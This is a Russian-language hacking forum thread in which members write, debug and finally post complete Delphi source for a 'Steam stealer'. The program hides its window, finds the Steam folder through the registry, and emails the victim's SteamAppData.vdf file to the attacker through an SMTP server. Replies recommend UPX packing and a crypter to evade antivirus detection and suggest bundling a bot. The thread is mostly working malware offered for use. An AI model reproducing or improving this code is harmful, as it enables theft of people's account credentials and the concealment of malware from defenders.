Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare
Показано с 1 по 4 из 4
  1. #1
    Trust
    TopicStarter
    Красава
    Аватар для Develop

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    397
    Репутация
    77 + / -
    Web-программист

    Стиллер Steam

    Сегодня мы будем писать свой стиллер на Delphi 7.
    Он будет много весить ~800кб (да я знаю консоль + winsock рулят но мне было лень).

    И так что нам нужно будет реализовать:
    1. Поиск папки стима и самого файла с пассами
    2. Отправка файла на почту.

    Поехали.

    Откроем Delphi 7, создадим проект. Создали? идем дальше.
    Чтобы формы не было при открытии стиллера добавим строку.

    Код:
    Application.ShowMainForm:= False;
    Для работы с реестром в Uses пропишем Registry;
    Добавим компонент IdAntiFreeze из вкладки IndyMisc
    Добавим переменнные

    Код:
    var
      Form1: TForm1;
      m:TIdMessage;
      sm:tidsmtp;
      att:tidattachment;
    Создадим процедуру для коннекта и отправки файла

    Код:
    procedure send(pathSteam, login, pass, kuda:string);
    begin
    m:=TIdMessage.create(form1);
    m.From.Text:=login;    //логин отправителя
    m.Recipients.Add;
    m.Recipients.Items[0].Text:=kuda; // Кому
    m.Subject:='Привет мой друг';// тема
    m.Body.Text:='Это тебе ;)';// текст
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType := atLogin;
    sm.Host:='smtp.mail.ru'; //smtp-адрес
    att:=TIdAttachment.Create(m.MessageParts,pathSteam);
    sm.Username:=login; //логин отправителя
    sm.Password:=pass;  //пароль отправителя
    sm.Connect();
    if sm.Connected then
        begin
         sm.Send(M);
        end;
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;
    Код:
    function ReadReg(root:integer; t,key:string):string;
    var
      s:string;
      reg: TRegistry;
    begin
      reg := TRegistry.Create;
      reg.RootKey := root;
      reg.OpenKey(key, true);
      case reg.Getdatatype(t) of
        rdString, rdExpandString:
          s:= reg.ReadString(t);
        rdInteger:
          s:= IntToStr(reg.readinteger(t));
        else
          s:='other type';
       end;
       result:=s;
       reg.Free;
    end;
    Код:
    function Pars(TextIn, Text, TextOut: string): string;
    var
      TempStr: string;
    begin
      Result := '';
      TempStr := Text;
      TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
      Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
      Result := TempStr;
    end;

    Кликаем 2раза по форме
    Применим процедуры


    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Softw are\Microsoft\Windows\CurrentVersion\Run');
    path:=Pars('"',regpath, '"');
    path:=ExtractFilePath(path)+'config\SteamAppData.v df';
    send(path, [email protected]', 'пароль', 'Куда [email protected]');
    end;


    Все. С кодом мы закончили. Теперь приступим с изменению иконки и компиляции.

    Изменить иконку не составит проблем.
    Сохраним проект.
    File -> Save as -> Обязательно выберите отдельную папку.

    Компилируем
    Сам exe файл соранен в вашу папку с проектом.

    Взял с hpc.name
    (Думаю если есть знания делфии, можно немного переписать код и получить свой полноценный стиллер, а если еще закриптовать....)
    Все стиллер готов.

  2. Пользователь сказал cпасибо:
  3. #2
    Trust
    Аватар для ul1k317

    Статус
    Offline
    Регистрация
    26.08.2013
    Сообщений
    823
    Репутация
    395 + / -
    Web-программист
    удалить ненужные из uses (вроде так в delphi подключаются модули), а потом еще и через upx пропустить.
    php, mysql, mssql, js, html, css, ajax, administrating, it consulting, etc.

  4. #3
    Trust
    TopicStarter
    Красава
    Аватар для Develop

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    397
    Репутация
    77 + / -
    Web-программист
    во во я о том же! тем более у нас нынче криптор появился, и можно залепить какого нибудь бота или стиллер

  5. #4
    Аватар для sata-ata

    Статус
    Offline
    Регистрация
    29.10.2013
    Сообщений
    3,035
    Репутация
    282 + / -
    Программист
    ещё из миск надо добавить
    IdMessage

    чтот я не заметил в миске
    idsmtp
    idattachmen
    точнее не нашёл


    в итоге такой код:

    код

    delphi код:


    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
    IdMessage;

    type
    TForm1 = class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    m:TIdMessage;
    sm:tidsmtp;
    att:tidattachment;

    implementation

    {$R *.dfm}

    procedure send(pathSteam, login, pass, kuda:string);
    begin
    m:=TIdMessage.create(form1);
    m.From.Text:=login; //ëîãèí îòïðàâèòåëÿ
    m.Recipients.Add;
    m.Recipients.Items[0].Text:=kuda; // Êîìó
    m.Subject:='Ïðèâåò ìîé äðóã';// òåìà
    m.Body.Text:='Ýòî òåáå ';// òåêñò
    sm:=tidsmtp.Create(form1);
    sm.AuthenticationType := atLogin;
    sm.Host:='smtp.mail.ru'; //smtp-àäðåñ
    att:=TIdAttachment.Create(m.MessageParts,pathSteam);
    sm.Username:=login; //ëîãèí îòïðàâèòåëÿ
    sm.Password:=pass; //ïàðîëü îòïðàâèòåëÿ
    sm.Connect();
    if sm.Connected then
    sm.Send(M);
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;

    function ReadReg(root:integer; t,key:string):string;
    var
    s:string;
    reg: TRegistry;
    begin
    reg := TRegistry.Create;
    reg.RootKey := root;
    reg.OpenKey(key, true);
    case reg.Getdatatype(t) of
    rdString, rdExpandString:
    s:= reg.ReadString(t);
    rdInteger:
    s:= IntToStr(reg.readinteger(t));
    else
    s:='other type';
    end;
    result:=s;
    reg.Free;
    end;

    function Pars(TextIn, Text, TextOut: string): string;
    var
    TempStr: string;
    begin
    Result := '';
    TempStr := Text;
    TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result := TempStr;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
    regpath, path:string;
    begin
    regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run');
    path:=Pars('"',regpath, '"');
    path:=ExtractFilePath(path)+'config\SteamAppData.v df';
    send(path, [email protected]', 'ïàðîëü', 'Êóäà [email protected]');
    end;

    end.

    [свернуть]


    и вот такие ошибки:

    ошибки

    Код:
    [Error] Unit1.pas(24): Undeclared identifier: 'tidsmtp'
    [Error] Unit1.pas(39): Missing operator or semicolon
    [Error] Unit1.pas(40): Missing operator or semicolon
    [Error] Unit1.pas(40): Undeclared identifier: 'atLogin'
    [Error] Unit1.pas(41): Missing operator or semicolon
    [Error] Unit1.pas(43): Missing operator or semicolon
    [Error] Unit1.pas(44): Missing operator or semicolon
    [Error] Unit1.pas(45): Missing operator or semicolon
    [Error] Unit1.pas(46): 'THEN' expected but identifier 'Connected' found
    [Error] Unit1.pas(48): Missing operator or semicolon
    [Error] Unit1.pas(50): Missing operator or semicolon
    [Error] Unit1.pas(52): Missing operator or semicolon
    [Warning] Unit1.pas(90): Constant expression violates subrange bounds
    [Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
    
    
    [Error] Unit1.pas(39): Missing operator or semicolon
    [Error] Unit1.pas(40): Missing operator or semicolon
    [Error] Unit1.pas(40): Undeclared identifier: 'atLogin'
    [Error] Unit1.pas(41): Missing operator or semicolon
    [Error] Unit1.pas(43): Missing operator or semicolon
    [Error] Unit1.pas(44): Missing operator or semicolon
    [Error] Unit1.pas(45): Missing operator or semicolon
    [Error] Unit1.pas(46): 'THEN' expected but identifier 'Connected' found
    [Error] Unit1.pas(48): Missing operator or semicolon
    [Error] Unit1.pas(50): Missing operator or semicolon
    [Error] Unit1.pas(52): Missing operator or semicolon
    [Warning] Unit1.pas(90): Constant expression violates subrange bounds
    [Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
    [свернуть]


    вызванный как раз отсутствием элементов
    idsmtp и idattachment


    ЮПИДЖ

    добавил в юзес:
    Код:
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
      IdMessage, idsmtp, idattachment;
    в итоге остался аттач в ошибках, т.е. его нет:
    Код:
    [Fatal Error] Unit1.pas(8): File not found: 'idattachment.dcu'

    ЮПИДЖ2

    убрал из юзес idattachment
    вроде завелось
    итоговый код:

    рабочий код


    delphi код:

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
    IdMessage, IdSMTP;

    type
    TForm1 = class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;

    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;
    m:TIdMessage;
    sm:TIdSMTP;
    att:TIdAttachment;

    implementation
    {$R *.dfm}

    procedure Send(pathSteam, Login, Pass, Kuda: String);
    begin
    m := TIdMessage.create(form1);
    m.From.Text := Login; //логин отправителя
    m.Recipients.Add;
    m.Recipients.Items[0].Text := Kuda; // Кому
    m.Subject := 'Привет мой друг'; // тема
    m.Body.Text := 'Это тебе '; // текст
    sm := TIdSMTP.Create(form1);
    sm.AuthenticationType := atLogin;
    sm.Host := 'smtp.mail.ru'; //smtp-адрес
    att := TIdAttachment.Create(m.MessageParts, pathSteam);
    sm.Username := Login; //логин отправителя
    sm.Password := Pass; //пароль отправителя
    sm.Connect();
    if sm.Connected then
    sm.Send(M);
    sm.Disconnect;
    att.Free;
    sm.Free;
    end;


    function ReadReg(Root: Integer; T,Key: String): String;
    var
    S: String;
    Reg: TRegistry;
    begin
    Reg := TRegistry.Create;
    Reg.RootKey := Root;
    Reg.OpenKey(Key, True);
    case Reg.GetDataType(T) of
    rdString, rdExpandString:
    S := Reg.ReadString(T);
    rdInteger:
    S := IntToStr(Reg.ReadInteger(T));
    else
    S := 'other type';
    end;
    Result:=S;
    Reg.Free;
    end;

    function Pars(TextIn, Text, TextOut: String): String;
    var
    TempStr: String;
    begin
    Result := '';
    TempStr := Text;
    TempStr := Copy(TempStr, Pos(TextIn, TempStr) + 1, Length(TempStr));
    Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
    Result := TempStr;
    end;



    procedure TForm1.FormCreate(Sender: TObject);
    var
    RegPath, Path: String;
    begin
    Application.ShowMainForm := False;
    RegPath := ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run');
    Path := Pars('"',RegPath, '"');
    Path := ExtractFilePath(Path) + 'config\SteamAppData.vdf';
    Send(Path, [email protected]', 'пароль', 'Куда [email protected]');
    end;

    end.

    [свернуть]


    элементы на форме:
    Код:
    IdAntiFreeze1
    IdMessage1

    отфикшено 18.08.2015 в 17:47 v.0.1.1 by sata-ata
    Последний раз редактировалось sata-ata; 18.08.2015 в 18:47. Причина: найдена ошибка, отфиксил
    8AC4F56356469F79B5283364053ACDA49D8EC9FEFDADC2B42F A5B4E979D9222267583F350BF9

    с/delphi/pascal/vbs/vbm/bat
    Ник зареган, суки! [Только зарегистрированные могут видеть это. ]

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.